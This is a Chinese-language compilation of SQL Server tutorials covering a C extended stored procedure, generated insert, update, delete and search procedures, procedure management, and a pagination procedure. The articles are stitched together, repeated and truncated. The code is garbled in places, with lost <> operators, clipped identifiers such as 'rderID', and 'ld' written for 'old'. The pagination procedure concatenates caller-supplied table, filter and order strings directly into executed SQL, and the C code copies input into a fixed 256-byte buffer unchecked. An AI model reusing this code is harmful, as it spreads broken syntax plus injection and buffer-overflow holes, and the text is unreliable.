这次小编给大家整理了编写安全的SQL Server扩展存储过程数据库教程,本文共10篇,供大家阅读参考,也相信能帮助到您。

篇1:编写安全的SQL Server扩展存储过程数据库教程
server|安全|存储过程
SQL Server 的扩展存储过程,其实就是一个普通的 Windows DLL,只不过按照某种规则实现了某些函数而已,编写安全的SQL Server扩展存储过程数据库教程
。近日在写一个扩展存储过程时,发现再写这类动态库时,还是有一些需要特别注意的地方。之所以会特别注意,是因为DLL运行于SQL Server的地址空间,而SQL Server到底是怎么进行线程调度的,却不是我们能了解的,即便了解也无法控制。
我们写动态库一般是自己用,即便给别人用,也很少像SQL Server这样,一个动态库很有可能加载多次,并且都是加载到一个进程的地址空间中。我们知道,当一个动态库加载到进程的地址空间时,DLL所有全局与局部变量初始化且仅初始化一次,以后再次调用 LoadLibrary函数时,仅仅增加其引用计数而已,那么很显然,假如有一全局 int ,初始化为0,调用一个函数另其自加,此时其值为1,然后再调用LoadLibray,并利用返回的句柄调用输出函数输出该值,虽然调用者觉得自己加载后立即输出,然后该值确实1而不是0。windows是进程独立的,而在线程方面,假如不注意,上面的情况很可能会程序员带来麻烦。
介绍一下我的扩展存储过程,该动态库导出了三个函数: Init,work,Final,Init读文件,存储信息于内存,work简单的只是向该内存检索信息,Final回收内存。如上所说,假如不考虑同一进程空间多次加载问题,两次调用Init将造成无谓的浪费,因为我第一次已经读进了内存,要是通过堆分配内存,还会造成内存泄露。
我使用的引用计数解决的该问题,代码很短,直接贴上来:
#include “stdafx.h”
#include
using namespace std;
extern “C” {
RETCODE __declspec(dllexport) xp_part_init(SRV_PROC *srvproc);
RETCODE __declspec(dllexport) xp_part_process(SRV_PROC *srvproc);
RETCODE __declspec(dllexport) xp_part_finalize(SRV_PROC *srvproc);
}
#define XP_NOERROR 0
#define XP_ERROR 1
HINSTANCE hInst = NULL;
int nRef = 0;
void printError (SRV_PROC *pSrvProc, CHAR* szErrorMsg);
ULONG __GetXpVersion{ return ODS_VERSION;}
SRVRETCODE xp_part_init(SRV_PROC* pSrvProc){
typedef bool (*Func)();
if(nRef == 0){
hInst = ::LoadLibrary(“part.dll”);
if(hInst == NULL){
printError(pSrvProc,“不能加载part.dll”);
return XP_ERROR;
}
Func theFunc = (Func)::GetProcAddress(hInst,“Init”);
if(!theFunc()){
::FreeLibrary(hInst);
printError(pSrvProc,“不能获得分类号与专辑的对应表”);
return XP_ERROR;
}
}
++ nRef;
return (XP_NOERROR);
}
SRVRETCODE xp_part_process(SRV_PROC* pSrvProc){
typedef bool (*Func)(char*);
if(nRef == 0){
printError(pSrvProc,“函数尚未初始化,请首先调用xp_part_init”);
return XP_ERROR;
}
Func theFunc = (Func)::GetProcAddress(hInst,“Get”);
BYTE bType;
ULONG cbMaxLen,cbActualLen;
BOOL fNull;
char szInput[256] = {0};
if (srv_paraminfo(pSrvProc, 1, &bType, (ULONG*)&cbMaxLen, (ULONG*)&cbActualLen, (BYTE*)szInput, &fNull) == FAIL){
printError(pSrvProc,“srv_paraminfo 返回 FAIL”);
return XP_ERROR;
}
szInput[cbActualLen] = 0;
string strInput = szInput;
string strOutput = “;”;
int cur,old = 0;
while(string::npos != (cur = strInput.find(’;’,old)) ){
strncpy(szInput,strInput.c_str() + old,cur - old);
szInput[cur - old] = 0;
ld = cur + 1;
theFunc(szInput);
if(string::npos ==strOutput.find((string)“;” + szInput))
strOutput += szInput;
}
strcpy(szInput,strOutput.c_str());
if (FAIL == srv_paramsetoutput(pSrvProc, 1, (BYTE*)(szInput + 1), strlen(szInput) - 1,FALSE)){
printError (pSrvProc, “srv_paramsetoutput 调用失败”);
return XP_ERROR;
}
srv_senddone(pSrvProc, (SRV_DONE_COUNT | SRV_DONE_MORE), 0, 0);
return XP_NOERROR;
}
SRVRETCODE xp_part_finalize(SRV_PROC* pSrvProc){
typedef void (*Func)();
if(nRef == 0)
return XP_NOERROR;
Func theFunc = (Func)::GetProcAddress(hInst,“Fin”);
if((--nRef) == 0){
theFunc();
::FreeLibrary(hInst);
hInst = NULL;
}
return (XP_NOERROR);
}
我想虽然看上去不是很高明,然而问题应该是解决了的,
还有一点说明,为什么不使用Tls,老实说,我考虑过使用的,因为其实代码是有一点问题的,假如一个用户调用xp_part_init,然后另一个用户也调用xp_part_init,注意我们的存储过程可是服务器端的,然后第一个用户调用xp_part_finalize,那么会怎样,他仍然可以正常使用xp_part_process,这倒无所谓,然而第一个用户调用两次xp_part_finalize,就能够影响第二个用户了,他的xp_part_process将返回错误。
使用Tls 似乎可以解决这问题,例如再添加一个tls_index变量,调用 TlsSetValue保存用户私人数据,TlsGetValue检索私人数据,当xp_part_init时,假如该私人数据为0,执行正常的初始化过程,(即上面的xp_part_init)执行成功后存储私人数据为1,假如是1,直接返回,xp_part_finalize时,假如私人数据为1,则执行正常的xp_part_finalize,然后设私人数据为0,假如是0,直接返回。
好像想法还是不错的,这样隔离了多个用户,安全性似乎提高了不少,然而事实是不可行的。因为Tls保存的并不是私人数据,而是线程本地变量,我们不能保证一个用户的多次操作都是用同一个线程执行的,这个由SQL Server自己控制,事实上我在查询分析器里多次执行的结果显示,SQL Server内部似乎使用了一个线程池。既然如此,那这种想法也只能作罢。
篇2:通用存储过程的编写数据库教程
存储过程
通用存储过程的编写
对数据库的操作基本上就四种:Insert、Update、Delete和Select,而Update和Insert两种操作又可以作简单的合并,这样下来,基本上一个数据表对应三个存储过程便可以完成绝大多数的数据库操作,存储过程命名规则:Operate_TableName。比如表Order_Info对应三个存储过程:AddEdit_Order_Info、Delete_Order_Info、Search_Order_Info,下面先列出相关代码,然后作总体分析。
一、AddEdit_Order_Info
/*************************************************************
** Name : AddEdit_Order_Info
** Creater : PPCoder Designed By PPCode Studio(PPTech.Net)
** Create Date : -9-6 8:30:17
** Modifer : Rexsp
** Modify Date : 2004-9-6 8:30:17
** Description : AddEdit information for Order_Info
**************************************************************/
ALTER PROCEDURE dbo.AddEdit_Order_Info
(
@OrderStateID Int = -1,
@OrderStateID_Min Int = -1,
@OrderStateID_Max Int = -1,
@OrderUserID Int = -1,
@OrderUserID_Min Int = -1,
@OrderUserID_Max Int = -1,
@OrderID Int = -1,
@OrderID_Min Int = -1,
@OrderID_Max Int = -1,
@ProductID Int = -1,
@ProductID_Min Int = -1,
@ProductID_Max Int = -1,
@CustomizeID Int = -1,
@CustomizeID_Min Int = -1,
@CustomizeID_Max Int = -1,
@OutID INT = 0 OUTPUT
)
AS
IF @OrderID=-1
BEGIN
INSERT INTO [Order_Info] (
[OrderStateID],
[OrderUserID],
[ProductID],
[CustomizeID]
)
VALUES(
@OrderStateID,
@OrderUserID,
@ProductID,
@CustomizeID
)
Set @OutID = @@IDENTITY
END
ELSE
BEGIN
DECLARE @strSQL NVARCHAR(1000)
SET @strSQL = 'UPDATE [Order_Info] SET @tmpOrderID = @tmpOrderID'
IF @OrderStateID -1
BEGIN
SET @strSQL = @strSQL + ', [OrderStateID] = @tmpOrderStateID'
END
IF @OrderUserID -1
BEGIN
SET @strSQL = @strSQL + ', [OrderUserID] = @tmpOrderUserID'
END
IF @ProductID -1
BEGIN
SET @strSQL = @strSQL + ', [ProductID] = @tmpProductID'
END
IF @CustomizeID -1
BEGIN
SET @strSQL = @strSQL + ', [CustomizeID] = @tmpCustomizeID'
END
SET @strSQL = @strSQL + ' WHERE [OrderID] = @tmpOrderID'
BEGIN TRAN
EXECUTE sp_executesql @strSQL, N'
@tmpOrderStateID INT,
@tmpOrderUserID INT,
@tmpOrderID INT,
@tmpProductID INT,
@tmpCustomizeID INT',
@tmpOrderStateID=@OrderStateID,
@tmpOrderUserID=@OrderUserID,
@tmpOrderID=@OrderID,
@tmpProductID=@ProductID,
@tmpCustomizeID=@CustomizeID
Set @OutID = @OrderID
IF @@error!=0
BEGIN
ROLLBACK
END
ELSE
BEGIN
COMMIT
END
END
RETURN
二、Delete_Order_Info
/*************************************************************
** Name : Delete_Order_Info
** Creater : PPCoder Designed By PPCode Studio(PPTech.Net)
** Create Date : 2004-9-6 8:30:17
** Modifer : Rexsp
** Modify Date : 2004-9-6 8:30:17
** Description : Delete information for Order_Info
**************************************************************/
ALTER PROCEDURE dbo.Delete_Order_Info
(
@OrderStateID Int = -1,
@OrderStateID_Min Int = -1,
@OrderStateID_Max Int = -1,
@OrderUserID Int = -1,
@OrderUserID_Min Int = -1,
@OrderUserID_Max Int = -1,
@OrderID Int = -1,
@OrderID_Min Int = -1,
@OrderID_Max Int = -1,
@ProductID Int = -1,
@ProductID_Min Int = -1,
@ProductID_Max Int = -1,
@CustomizeID Int = -1,
@CustomizeID_Min Int = -1,
@CustomizeID_Max Int = -1,
@OutID INT = 0 OUTPUT
)
AS
DECLARE @strSQL NVARCHAR(1000)
SET @strSQL = 'DELETE FROM [Order_Info] WHERE @tmpOrderID = @tmpOrderID '
IF @OrderStateID-1
BEGIN
SET @strSQL = @strSQL + ' AND rderStateID = @tmpOrderStateID'
END
IF @OrderStateID_Min-1
BEGIN
SET @strSQL = @strSQL + ' AND OrderStateID_Min = @tmpOrderStateID_Min'
END
IF @OrderStateID_Max-1
BEGIN
SET @strSQL = @strSQL + ' AND OrderStateID_Max = @tmpOrderStateID_Max'
END
IF @OrderUserID-1
BEGIN
SET @strSQL = @strSQL + ' AND rderUserID = @tmpOrderUserID'
END
IF @OrderUserID_Min-1
BEGIN
SET @strSQL = @strSQL + ' AND OrderUserID_Min = @tmpOrderUserID_Min'
END
IF @OrderUserID_Max-1
BEGIN
SET @strSQL = @strSQL + ' AND OrderUserID_Max = @tmpOrderUserID_Max'
END
IF @OrderID-1
BEGIN
SET @strSQL = @strSQL + ' AND rderID = @tmpOrderID'
END
IF @OrderID_Min-1
BEGIN
SET @strSQL = @strSQL + ' AND OrderID_Min = @tmpOrderID_Min'
END
IF @OrderID_Max-1
BEGIN
SET @strSQL = @strSQL + ' AND OrderID_Max = @tmpOrderID_Max'
END
IF @ProductID-1
BEGIN
SET @strSQL = @strSQL + ' AND ProductID = @tmpProductID'
END
IF @ProductID_Min-1
BEGIN
SET @strSQL = @strSQL + ' AND ProductID_Min = @tmpProductID_Min'
END
IF @ProductID_Max-1
BEGIN
SET @strSQL = @strSQL + ' AND ProductID_Max = @tmpProductID_Max'
END
IF @CustomizeID-1
BEGIN
SET @strSQL = @strSQL + ' AND CustomizeID = @tmpCustomizeID'
END
IF @CustomizeID_Min-1
BEGIN
SET @strSQL = @strSQL + ' AND CustomizeID_Min = @tmpCustomizeID_Min'
END
IF @CustomizeID_Max-1
BEGIN
SET @strSQL = @strSQL + ' AND CustomizeID_Max = @tmpCustomizeID_Max'
END
BEGIN TRAN
EXECUTE sp_executesql @strSQL, N'
@tmpOrderStateID INT,
@tmpOrderUserID INT,
@tmpOrderID INT,
@tmpProductID INT,
@tmpCustomizeID INT',
@tmpOrderStateID=@OrderStateID,
@tmpOrderUserID=@OrderUserID,
@tmpOrderID=@OrderID,
@tmpProductID=@ProductID,
@tmpCustomizeID=@CustomizeID
Set @OutID = @OrderID
IF @@error!=0
BEGIN
ROLLBACK
END
ELSE
BEGIN
COMMIT
END
RETURN
三、 Search_Order_Info
/*************************************************************
** Name : Search_Order_Info
** Creater : PPCoder Designed By PPCode Studio(PPTech.Net)
** Create Date : 2004-9-6 8:30:17
** Modifer : Rexsp
** Modify Date : 2004-9-6 8:30:17
** Description : Search information for Order_Info
**************************************************************/
ALTER PROCEDURE dbo.Search_Order_Info
(
@OrderStateID Int = -1,
@OrderStateID_Min Int = -1,
@OrderStateID_Max Int = -1,
@OrderUserID Int = -1,
@OrderUserID_Min Int = -1,
@OrderUserID_Max Int = -1,
@OrderID Int = -1,
@OrderID_Min Int = -1,
@OrderID_Max Int = -1,
@ProductID Int = -1,
@ProductID_Min Int = -1,
@ProductID_Max Int = -1,
@CustomizeID Int = -1,
@CustomizeID_Min Int = -1,
@CustomizeID_Max Int = -1,
@ReturnCount INT=-1,
@OutID INT = 0 OUTPUT
)
AS
DECLARE @strSQL NVARCHAR(1000)
IF @ReturnCount-1
BEGIN
SET @strSQL = 'SELECT TOP '+@ReturnCount+' * FROM [Order_Info] WHERE @tmpOrderID = @tmpOrderID '
END
ELSE
BEGIN
SET @strSQL = 'SELECT * FROM [Order_Info] WHERE @tmpOrderID = @tmpOrderID '
END
IF @OrderStateID-1
BEGIN
SET @strSQL = @strSQL + ' AND rderStateID = @tmpOrderStateID'
END
IF @OrderStateID_Min-1
BEGIN
SET @strSQL = @strSQL + ' AND OrderStateID_Min = @tmpOrderStateID_Min'
END
IF @OrderStateID_Max-1
BEGIN
SET @strSQL = @strSQL + ' AND OrderStateID_Max = @tmpOrderStateID_Max'
END
IF @OrderUserID-1
BEGIN
SET @strSQL = @strSQL + ' AND rderUserID = @tmpOrderUserID'
END
IF @OrderUserID_Min-1
BEGIN
SET @strSQL = @strSQL + ' AND OrderUserID_Min = @tmpOrderUserID_Min'
END
IF @OrderUserID_Max-1
BEGIN
SET @strSQL = @strSQL + ' AND OrderUserID_Max = @tmpOrderUserID_Max'
END
IF @OrderID-1
BEGIN
SET @strSQL = @strSQL + ' AND rderID = @tmpOrderID'
END
IF @OrderID_Min-1
BEGIN
SET @strSQL = @strSQL + ' AND OrderID_Min = @tmpOrderID_Min'
END
IF @OrderID_Max-1
BEGIN
SET @strSQL = @strSQL + ' AND OrderID_Max = @tmpOrderID_Max'
END
IF @ProductID-1
BEGIN
SET @strSQL = @strSQL + ' AND ProductID = @tmpProductID'
END
IF @ProductID_Min-1
BEGIN
SET @strSQL = @strSQL + ' AND ProductID_Min = @tmpProductID_Min'
END
IF @ProductID_Max-1
BEGIN
SET @strSQL = @strSQL + ' AND ProductID_Max = @tmpProductID_Max'
END
IF @CustomizeID-1
BEGIN
SET @strSQL = @strSQL + ' AND CustomizeID = @tmpCustomizeID'
END
IF @CustomizeID_Min-1
BEGIN
SET @strSQL = @strSQL + ' AND CustomizeID_Min = @tmpCustomizeID_Min'
END
IF @CustomizeID_Max-1
BEGIN
SET @strSQL = @strSQL + ' AND CustomizeID_Max = @tmpCustomizeID_Max'
END
BEGIN TRAN
EXECUTE sp_executesql @strSQL, N'
@tmpOrderStateID INT,
@tmpOrderUserID INT,
@tmpOrderID INT,
@tmpProductID INT,
@tmpCustomizeID INT',
@tmpOrderStateID=@OrderStateID,
@tmpOrderUserID=@OrderUserID,
@tmpOrderID=@OrderID,
@tmpProductID=@ProductID,
@tmpCustomizeID=@CustomizeID
Set @OutID = @OrderID
IF @@error!=0
BEGIN
ROLLBACK
END
ELSE
BEGIN
COMMIT
END
分析:
1、 三个存储过程的入参基本上相同,只有Search_Order_Info多了一个@ReturnCount用来控制搜索信息的条数的,
入参很有特点:与数据表字段的扩展对应。扩展方式有三种:数字型和日期型扩展出“极小”和“极大”两个属性,例如数字型的OrderStateID对应的参数有三个@OrderStateID、@OrderStateID_Min 、@OrderStateID_Max ,时间型的AddTime对应@AddTime、@AddTime_Rof、@AddTime_Eof ;如果是字符型的,则会扩展出一个用来进行模糊搜索的属性,例如Title对应@Title、@Title_Like。之所以这样设计,是为了组合出更具适应性的条件语句。三个存储过程都有一个出参,就是表的唯一标识ID。这个主要在“添加和更新”操作中使用。当然搜索的时候也可以当唯一键返回。这个唯一标识ID也是来判断是Insert或Update的标识。
2、 入参都有赋初值,然后动态构建Sql语句的时候,会判断各入参是否等于初值,如果不等于表示是外面传进来的传,便参与Sql语句的构建。这种灵活性是程序适应性的保证。这样,我们就可以在程序员通过控制是否给入参传值来判断是否要进行某一栏位进行更新或是否要把某一栏位的信息参与条件语句的构成。
3、 用系统存储过程sp_executesql来执行Sql语句,完全数据库操作。用系统存储过程来执行sql语句有一个好处,就是可以实现特殊字符的自动转义。
4、 三个存储过程都有统一的构建规律,所以可以使用自动化工具依据表结构直接生成。
篇3:编写安全的扩展存储过程存储过程
近日在写一个扩展存储过程时,发现再写这类动态库时,还是有一些需要特别注意的地方,之所以会特别注意,是因为DLL运行于SQL Server的地址空间,而SQL Server到底是怎么进行线程调度的,却不是我们能了解的,即便了解也无法控制。
我们写动态库一般是自己用,即便给别人用,也很少像SQL Server这样,一个动态库很有可能加载多次,并且都是加载到一个进程的地址空间中。我们知道,当一个动态库加载到进程的地址空间时,DLL所有全局与局部变量初始化且仅初始化一次,以后再次调用 LoadLibrary函数时,仅仅增加其引用计数而已,那么很显然,假如有一全局 int,初始化为0,调用一个函数另其自加,此时其值为1,然后再调用LoadLibray,并利用返回的句柄调用输出函数输出该值,虽然调用者觉得自己加载后立即输出,然后该值确实1而不是0。windows是进程独立的,而在线程方面,假如不注意,上面的情况很可能会程序员带来麻烦。
介绍一下我的扩展存储过程,该动态库导出了三个函数:Init,work,Final,Init读文件,存储信息于内存,work简单的只是向该内存检索信息,Final回收内存。如上所说,假如不考虑同一进程空间多次加载问题,两次调用Init将造成无谓的浪费,因为我第一次已经读进了内存,要是通过堆分配内存,还会造成内存泄露。
我使用的引用计数解决的该问题,代码很短,直接贴上来:
#include “stdafx.h”#include
using namespace std;
extern “C” {
RETCODE __declspec(dllexport) xp_part_init(SRV_PROC *srvproc);
RETCODE __declspec(dllexport) xp_part_process(SRV_PROC *srvproc);
RETCODE __declspec(dllexport) xp_part_finalize(SRV_PROC *srvproc);
}
#define XP_NOERROR 0
#define XP_ERROR 1
HINSTANCE hInst = NULL;
int nRef = 0;
void printError (SRV_PROC *pSrvProc, CHAR* szErrorMsg);
ULONG __GetXpVersion{ return ODS_VERSION;}
SRVRETCODE xp_part_init(SRV_PROC* pSrvProc){
typedef bool (*Func)();
if(nRef == 0){
hInst = ::LoadLibrary(“part.dll”);
if(hInst == NULL){
printError(pSrvProc,“不能加载part.dll”);
return XP_ERROR;
}
Func theFunc = (Func)::GetProcAddress(hInst,“Init”);
if(!theFunc()){
::FreeLibrary(hInst);
printError(pSrvProc,“不能获得分类号与专辑的对应表”);
return XP_ERROR;
}
}
++ nRef;
return (XP_NOERROR);
}
SRVRETCODE xp_part_process(SRV_PROC* pSrvProc){
typedef bool (*Func)(char*);
if(nRef == 0){
printError(pSrvProc,“函数尚未初始化,请首先调用xp_part_init”);
return XP_ERROR;
}
Func theFunc = (Func)::GetProcAddress(hInst,“Get”);
BYTE bType;
关 键 字:MYSQL
篇4:编写安全的扩展存储过程
近日在写一个扩展存储过程时,发现再写这类动态库时,还是有一些需要特别注意的地方,之所以会特别注意,是因为DLL运行于SQL Server的地址空间,而SQL Server到底是怎么进行线程调度的,却不是我们能了解的,即便了解也无法控制。
我们写动态库一般是自己用,即便给别人用,也很少像SQL Server这样,一个动态库很有可能加载多次,并且都是加载到一个进程的地址空间中。我们知道,当一个动态库加载到进程的地址空间时,DLL所有全局与局部变量初始化且仅初始化一次,以后再次调用 LoadLibrary函数时,仅仅增加其引用计数而已,那么很显然,假如有一全局 int,初始化为0,调用一个函数另其自加,此时其值为1,然后再调用LoadLibray,并利用返回的句柄调用输出函数输出该值,虽然调用者觉得自己加载后立即输出,然后该值确实1而不是0。windows是进程独立的,而在线程方面,假如不注意,上面的情况很可能会程序员带来麻烦。
介绍一下我的扩展存储过程,该动态库导出了三个函数:Init,work,Final,Init读文件,存储信息于内存,work简单的只是向该内存检索信息,Final回收内存。如上所说,假如不考虑同一进程空间多次加载问题,两次调用Init将造成无谓的浪费,因为我第一次已经读进了内存,要是通过堆分配内存,还会造成内存泄露。
我使用的引用计数解决的该问题,代码很短,直接贴上来:
#include “stdafx.h”#include
using namespace std;
extern “C” {
RETCODE __declspec(dllexport) xp_part_init(SRV_PROC *srvproc);
RETCODE __declspec(dllexport) xp_part_process(SRV_PROC *srvproc);
RETCODE __declspec(dllexport) xp_part_finalize(SRV_PROC *srvproc);
}
#define XP_NOERROR 0
#define XP_ERROR 1
HINSTANCE hInst = NULL;
int nRef = 0;
void printError (SRV_PROC *pSrvProc, CHAR* szErrorMsg);
ULONG __GetXpVersion(){ return ODS_VERSION;}
SRVRETCODE xp_part_init(SRV_PROC* pSrvProc){
typedef bool (*Func)();
if(nRef == 0){
hInst = ::LoadLibrary(“part.dll”);
if(hInst == NULL){
printError(pSrvProc,“不能加载part.dll”);
return XP_ERROR;
}
Func theFunc = (Func)::GetProcAddress(hInst,“Init”);
if(!theFunc()){
::FreeLibrary(hInst);
printError(pSrvProc,“不能获得分类号与专辑的对应表”);
return XP_ERROR;
}
}
++ nRef;
return (XP_NOERROR);
}
SRVRETCODE xp_part_process(SRV_PROC* pSrvProc){
typedef bool (*Func)(char*);
if(nRef == 0){
printError(pSrvProc,“函数尚未初始化,请首先调用xp_part_init”);
return XP_ERROR;
}
Func theFunc = (Func)::GetProcAddress(hInst,“Get”);
BYTE bType;
ULONG cbMaxLen,cbActualLen;
BOOL fNull;
char szInput[256] = {0};
if (srv_paraminfo(pSrvProc, 1, &bType, (ULONG*)&cbMaxLen, (ULONG*)&cbActualLen,
(BYTE*)szInput, &fNull) == FAIL){
printError(pSrvProc,“srv_paraminfo 返回 FAIL”);
return XP_ERROR;
}
szInput[cbActualLen] = 0;
string strInput = szInput;
string strOutput = “;”;
int cur,old = 0;
while(string::npos != (cur = strInput.find(’;’,old)) ){
strncpy(szInput,strInput.c_str() + old,cur - old);
szInput[cur - old] = 0;
old = cur + 1;
theFunc(szInput);
if(string::npos ==strOutput.find((string)“;” + szInput))
strOutput += szInput;
}
strcpy(szInput,strOutput.c_str());
if (FAIL == srv_paramsetoutput(pSrvProc, 1, (BYTE*)(szInput + 1),
strlen(szInput) - 1,FALSE)){
printError (pSrvProc, “srv_paramsetoutput 调用失败”);
return XP_ERROR;
}
srv_senddone(pSrvProc, (SRV_DONE_COUNT | SRV_DONE_MORE), 0, 0);
return XP_NOERROR;
}
SRVRETCODE xp_part_finalize(SRV_PROC* pSrvProc){
typedef void (*Func)();
if(nRef == 0)
return XP_NOERROR;
Func theFunc = (Func)::GetProcAddress(hInst,“Fin”);
if((--nRef) == 0){
theFunc();
::FreeLibrary(hInst);
hInst = NULL;
}
return (XP_NOERROR);
}
我想虽然看上去不是很高明,然而问题应该是解决了的,
还有一点说明,为什么不使用Tls,老实说,我考虑过使用的,因为其实代码是有一点问题的,假如一个用户调用xp_part_init,然后另一个用户也调用xp_part_init,注意我们的存储过程可是服务器端的,然后第一个用户调用xp_part_finalize,那么会怎样,他仍然可以正常使用xp_part_process,这倒无所谓,然而第一个用户调用两次xp_part_finalize,就能够影响第二个用户了,他的xp_part_process将返回错误。
使用Tls 似乎可以解决这问题,例如再添加一个tls_index变量,调用 TlsSetValue保存用户私人数据,TlsGetValue检索私人数据,当xp_part_init时,假如该私人数据为0,执行正常的初始化过程,(即上面的xp_part_init)执行成功后存储私人数据为1,假如是1,直接返回,xp_part_finalize时,假如私人数据为1,则执行正常的xp_part_finalize,然后设私人数据为0,假如是0,直接返回。
好像想法还是不错的,这样隔离了多个用户,安全性似乎提高了不少,然而事实是不可行的。因为Tls保存的并不是私人数据,而是线程本地变量,我们不能保证一个用户的多次操作都是用同一个线程执行的,这个由SQL Server自己控制,事实上我在查询分析器里多次执行的结果显示,SQL Server内部似乎使用了一个线程池。既然如此,那这种想法也只能作罢。
篇5:管理存储过程数据库教程
12.3.1 查看存储过程
存储过程被创建以后,它的名字存储在系统表sysobjects 中;它的源代码存放在系统表syscomments 中,可以通过MS SQL Server 提供的系统存储过程来查看关于用户创建的存储过程信息。
1通过Enterprise Manager 管理工具同样可以查看存储过程的源代码
其操作如下:
(1) 启动Enterprise Manager, 登录到要使用的服务器。
(2) 选择要创建存储过程的数据库,在左窗格中单击Stored Procedure 文件夹,此时在右窗格中显示该数据库的所有存储过程。
(3) 在右窗格中,右击要查看源代码的存储过程,在弹出的菜单中选择Properties选项,此时便可看到存储过程的源代码。如图12-4 所示:
2 使用sp_helptext 存储过程查看存储过程的源代码
其语法格式如下:
sp_helptext 存储过程名称
例如要查看数据库pubs 是否是存储过程reptq1 的源代码,则执行sp_helptext reptq1。
注意:如果在创建存储过程时使用了WITH ENCRYPTION选项,那么无论是使用Enterprise Manager还是系统存储过程sp_helptext都无法查看到存储过程的源代码。
12.3.2 重新命名存储过程
修改存储过程的名字使用系统存储过程sp_rename。 其命令格式为:
sp_rename 原存储过程名, 新存储过程名
例12-4 :将存储过程reptq1 修改为newproc 其语句为:
sp_rename reptq1, newproc
另外,通过Enterprise Manager 也可修改存储过程的名字,其操作过程与WINDOWS 下修改文件名字的操作类似。即首先选中需修改名字的存储过程,然后右击鼠标,在弹出菜单中选取rename 选项,最后输入新存储过程的名字。
12.3.3 删除存储过程
删除存储过程使用drop 命令,drop 命令可将一个或多个存储过程或者存储过程组从
当前数据库中删除。其语法规则为:
DROP PROCEDURE {procedure}} [,…n]
例12-5: 如将存储过程reptq1 从数据库中删除,则执行:
drop procedure reptq1
12.3.4 执行存储过程
执行已创建的存储过程使用EXECUTE 命令,其语法如下:
[EXECUTE]
{[@return_statur=]
{procedure_name[;number] | @procedure_name_var}
[[@parameter=] {value | @variable [OUTPUT] | [DEFAULT] [,…n]
[WITH RECOMPILE]
各参数的含义如下:
@return_status
是可选的整型变量,用来存储存储过程向调用者返回的值,
@procedure_name_var
是一变量名用来代表存储过程的名字。
其它参数据和保留字的含义与CREATE PROCEDURE 中介绍的一样。
例12-6: 该存储过程被用来将两个字符串连接成一个字符串,并将结果返回。创建存储过程:
12.3.5 修改存储过程
修改以前用CREATE PROCEDURE 命令创建的存储过程,并且不改变权限的授予情况以及不影响任何其它的独立的存储过程或触发器常使用ALTER PROCEDURE 命令。其语法规则是:
ALTER PROC[EDURE] procedure_name [;number]
[ {@parameter data_type } [VARYING] [= default] [OUTPUT]] [,...n]
[WITH
{RECOMPILE | ENCRYPTION | RECOMPILE , ENCRYPTION}]
[FOR REPLICATION]
AS
sql_statement [...n]
其中各参数和保留字的具体含义请参看CREATE PROCEDURE 命令。
下面将举一个例子使读者对该命令有更为深刻的理解。
将该段代码输入到SQL Server Query Analyzer 窗口中运行后结果为:
注意:由于在ALERT PROCEDURE中使用了WITH ENCTYPTION保留字,所以在查看修改后的存储过程源代码时看到是一些代码。
篇6:SQLSERVER Pager store procedure分页存储过程数据库教程
复制代码代码如下:
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
CREATE PROCEDURE [dbo].[Pagination]
@Page int = 1, -- 当前页码
@PageSize int = 10, -- 每页记录条数(页面大小)
@Table nvarchar(500), -- 表名或视图名,甚至可以是嵌套SQL:(Select * From Tab Where ID>1000) Tab
@Field nvarchar(800) = '*', -- 返回记录集字段名,“,”隔开,默认是“*”
@OrderBy nvarchar(100) = 'ID ASC', -- 排序规则
@Filter nvarchar(500), -- 过滤条件
@MaxPage smallint output, -- 执行结果 -1 error, 0 false, maxpage true
@TotalRow int output, -- 记录总数 /* -07-12 22:11:00 update */
@Descript. varchar(100) output -- 结果描述
AS
BEGIN
-- =============================================
-- Author: Jimmy.Yu
-- Create date: 2007-5-11
-- Description: SQL 以上版本 通用分页存储过程
-- =============================================
Set ROWCOUNT @PageSize;
Set @Descript. = 'successful';
-------------------参数检测----------------
IF LEN(RTRIM(LTRIM(@Table))) !> 0
Begin
Set @MaxPage = 0;
Set @Descript. = 'table name is empty';
Return;
End
IF LEN(RTRIM(LTRIM(@OrderBy))) !> 0
Begin
Set @MaxPage = 0;
Set @Descript. = 'order is empty';
Return;
End
IF ISNULL(@PageSize,0) <= 0
Begin
Set @MaxPage = 0;
Set @Descript. = 'page size error';
Return;
End
IF ISNULL(@Page,0) <= 0
Begin
Set @MaxPage = 0;
Set @Descript. = 'page error';
Return;
End
-------------------检测结束----------------
Begin Try
-- 整合SQL
Declare @SQL nvarchar(4000), @Portion nvarchar(4000);
Set @Portion = ' ROW_NUMBER OVER (ORDER BY ' + @OrderBy + ') AS ROWNUM FROM ' + @Table;
Set @Portion = @Portion + (CASE WHEN LEN(@Filter) >= 1 THEN (' Where ' + @Filter + ') AS tab') ELSE (') AS tab') END);
Set @SQL = 'Select TOP(' + CAST(@PageSize AS nvarchar(8)) + ') ' + @Field + ' FROM (Select ' + @Field + ',' + @Portion;
Set @SQL = @SQL + ' Where tab.ROWNUM > ' + CAST((@Page-1)*@PageSize AS nvarchar(8));
-- 执行SQL, 取当前页记录集
Execute(@SQL);
--------------------------------------------------------------------
-- 整合SQL
Set @SQL = 'Set @Rows = (Select MAX(ROWNUM) FROM (Select' + @Portion + ')';
-- 执行SQL, 取最大页码
Execute sp_executesql @SQL, N'@Rows int output', @TotalRow output;
Set @MaxPage = (CASE WHEN (@TotalRow % @PageSize)0 THEN (@TotalRow / @PageSize + 1) ELSE (@TotalRow / @PageSize) END);
End Try
Begin Catch
-- 捕捉错误
Set @MaxPage = -1;
Set @Descript. = 'error line: ' + CAST(ERROR_LINE() AS varchar(8)) + ', error number: ' + CAST(ERROR_NUMBER() AS varchar(8)) + ', error message: ' + ERROR_MESSAGE();
Return;
End Catch;
-- 执行成功
Return;
END
相对应的页面逻辑中写的对应调用该存储过程的方法(C#)
篇7:编写安全的SQL Server扩展存储过程存储过程
SQL Server 的扩展存储过程,其实就是一个普通的 Windows DLL,只不过按照某种规则实现了某些函数而已,
近日在写一个扩展存储过程时,发现再写这类动态库时,还是有一些需要特别注意的地方。之所以会特别注意,是因为DLL运行于SQL Server的地址空间,而SQL Server到底是怎么进行线程调度的,却不是我们能了解的,即便了解也无法控制。
